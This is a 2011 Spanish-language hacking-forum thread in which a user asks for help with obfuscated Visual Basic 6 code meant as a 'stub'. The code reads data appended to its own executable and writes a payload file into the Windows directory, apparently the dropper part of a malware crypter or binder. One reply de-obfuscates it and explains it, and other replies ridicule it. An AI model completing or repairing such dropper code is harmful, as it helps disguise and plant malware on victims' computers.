elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Cual es el error pls una ayuda!!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Cual es el error pls una ayuda!!  (Leído 2,126 veces)
ediporey2000

Desconectado Desconectado

Mensajes: 89


Ver Perfil
Cual es el error pls una ayuda!!
« en: 11 Noviembre 2011, 22:40 pm »

Código:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim qL03dVGjy48zqadiY4Tt As String
Dim JzubtbDcbqnUyen3dgq1 As String


Private Function Ruta() As String
Dim yf5NZzt9kYdmVs0rB1xJ As String, FvazNgSfP6Y1sLGTtJ9h As String, dowISKNxLrmGp0pCiDUr As Long
yf5NZzt9kYdmVs0rB1xJ = String$(128, Chr$(0))
dowISKNxLrmGp0pCiDUr = GetWindowWord(isp.hwnd, GWW_HINSTANCE)
yf5NZzt9kYdmVs0rB1xJ = Left$(yf5NZzt9kYdmVs0rB1xJ, GetModuleFileName(dowISKNxLrmGp0pCiDUr, yf5NZzt9kYdmVs0rB1xJ, Len(yf5NZzt9kYdmVs0rB1xJ)))
Ruta = yf5NZzt9kYdmVs0rB1xJ
End Function

Private Sub Main()


On Error Resume Next
Dim FjawcxU5VVpyj1K8cPRE As String
Dim ygyp8EL4PPCmjuYIVFRq As String
Dim bSruZqfCWVjiytOt10ok As String
Dim OcXqmgunrENzOM6a4gre As String
qL03dVGjy48zqadiY4Tt = "|Infinity|"
JzubtbDcbqnUyen3dgq1 = "|IsPhAcK|"
Open Ruta For Binary As #1
Dim gWWkEBQkV7AJpm5VgaIa As String
gWWkEBQkV7AJpm5VgaIa = Space(LOF(1))
Get #1, , gWWkEBQkV7AJpm5VgaIa
Close #1
Dim PVGFkLUjVKt66hkTWTsH As Variant, LMgXOjUEyhn2UR4rEDiW As Variant
PVGFkLUjVKt66hkTWTsH = Split(gWWkEBQkV7AJpm5VgaIa, qL03dVGjy48zqadiY4Tt)
For n = 1 To UBound(PVGFkLUjVKt66hkTWTsH)
LMgXOjUEyhn2UR4rEDiW = Split(PVGFkLUjVKt66hkTWTsH(n), JzubtbDcbqnUyen3dgq1)
For i = 0 To UBound(LMgXOjUEyhn2UR4rEDiW)
Select Case i
Case 0
L0L = LMgXOjUEyhn2UR4rEDiW(i)
Case 1
ygyp8EL4PPCmjuYIVFRq = LMgXOjUEyhn2UR4rEDiW(i)
Case 2
Select Case LMgXOjUEyhn2UR4rEDiW(i)
Case "Windows"
bSruZqfCWVjiytOt10ok = Environ("WINDIR")
End Select
Case 3
OcXqmgunrENzOM6a4gre = LMgXOjUEyhn2UR4rEDiW(i)
Case 4
FjawcxU5VVpyj1K8cPRE = LMgXOjUEyhn2UR4rEDiW(i)
End Select
Next i
Next n
Open bSruZqfCWVjiytOt10ok & "\" & ygyp8EL4PPCmjuYIVFRq For Binary As #1
Put #1, , FjawcxU5VVpyj1K8cPRE
Close #1
End Sub

no logro hacer funcionar ese code para un stub una ayuda pls xD



« Última modificación: 11 Noviembre 2011, 22:57 pm por raul338 » En línea

raul338


Desconectado Desconectado

Mensajes: 2.633


La sonrisa es la mejor forma de afrontar las cosas


Ver Perfil WWW
Re: Cual es el error pls una ayuda!!
« Respuesta #1 en: 11 Noviembre 2011, 22:58 pm »

Primero que nada, desofuca ese code :¬¬


En línea

x64core


Desconectado Desconectado

Mensajes: 1.908


Ver Perfil
Re: Cual es el error pls una ayuda!!
« Respuesta #2 en: 11 Noviembre 2011, 23:06 pm »


que error de variables :P

Código
  1. Option Explicit
  2. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  3. Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
  4. Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
  5. Const GWW_HINSTANCE = (-6)
  6. Const SW_SHOWNORMAL = 1
  7. Const SW_SHOWHIDE = 0
  8. Dim STR1 As String
  9. Dim STR2 As String
  10.  
  11.  
  12. Private Function Ruta() As String
  13. Dim R_str1 As String
  14. Dim R_str2 As String
  15. Dim R_lng As Long
  16.  
  17. R_str1 = String$(128, Chr$(0))
  18. R_lng = GetWindowWord(isp.hwnd, GWW_HINSTANCE)
  19. R_str1 = Left$(R_str1, GetModuleFileName(R_lng, R_str1, Len(R_str1)))
  20. Ruta = R_str1
  21. End Function
  22.  
  23. Private Sub Main()
  24.  
  25.  
  26. On Error Resume Next
  27. Dim MnStr1 As String
  28. Dim MnStr2 As String
  29. Dim MnStr3 As String
  30. Dim MnStr4 As String
  31.  
  32. STR1 = "|Infinity|"
  33. STR2 = "|IsPhAcK|"
  34.  
  35. Open Ruta For Binary As #1
  36.  
  37.    Dim MnStr5 As String
  38.  
  39.    MnStr5 = Space(LOF(1))
  40.    Get #1, , MnStr5
  41. Close #1
  42.  
  43. Dim MnVariant1 As Variant, MnVariant2 As Variant
  44.  
  45. MnVariant1 = Split(MnStr5, STR1)
  46.  
  47. For n = 1 To UBound(MnVariant1)
  48.    MnVariant2 = Split(MnVariant1(n), STR2)
  49.    For i = 0 To UBound(MnVariant2)
  50.        Select Case i
  51.            Case 0
  52.                L0L = MnVariant2(i)
  53.            Case 1
  54.                MnStr2 = MnVariant2(i)
  55.            Case 2
  56.                Select Case MnVariant2(i)
  57.                    Case "Windows"
  58.                        MnStr3 = Environ("WINDIR")
  59.                End Select
  60.            Case 3
  61.                MnStr4 = MnVariant2(i)
  62.            Case 4
  63.                MnStr1 = MnVariant2(i)
  64.        End Select
  65.    Next i
  66. Next n
  67.  
  68. Open MnStr3 & "\" & MnStr2 For Binary As #1
  69. Put #1, , MnStr1
  70. Close #1
  71. End Sub

se supone que en el binario debe de haber la STR1 luego en cada una de esas subcadenas la STR2
luego en esas sub cadenas dentro de las sub cadenas dependiendo del numero de sub cadenas que encuentre en este ultimo
las aguarda en las variables todas son recorridas por el FOR
y que se supone que son las rutas que el nuevo archivo binario que despues son concatenadas las variables encontradas que resulta ser la ruta . espero que te haya ayudado :P


Primero que nada, desofuca ese code :¬¬
:xD +1

En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: Cual es el error pls una ayuda!!
« Respuesta #3 en: 12 Noviembre 2011, 02:32 am »

NO se te puede ayudar con códigos tan cochinos como ese.

Dulces Lunas!¡.
En línea

The Dark Shadow is my passion.
x64core


Desconectado Desconectado

Mensajes: 1.908


Ver Perfil
Re: Cual es el error pls una ayuda!!
« Respuesta #4 en: 12 Noviembre 2011, 04:22 am »

NO se te puede ayudar con códigos tan cochinos como ese.

Dulces Lunas!¡.


 :laugh: :laugh:  ;-) ;-)  :xD
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[BATCH] Cual es mi error???
Scripting
Falso Positivo 2 3,136 Último mensaje 6 Febrero 2006, 05:43 am
por grx0
Cual es el error? (php) « 1 2 »
PHP
[KMT] 10 4,541 Último mensaje 30 Diciembre 2006, 23:07 pm
por [KMT]
cual es el error?
Scripting
dArKo2 4 3,129 Último mensaje 27 Julio 2010, 19:31 pm
por Novlucker
Cual es el error? Help
Programación C/C++
Mr.Blue 2 2,191 Último mensaje 24 Septiembre 2010, 18:23 pm
por Mr.Blue
u.u no se cual es el error
Programación C/C++
Danyel_Casvill 4 2,622 Último mensaje 17 Febrero 2011, 18:25 pm
por Garfield07
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines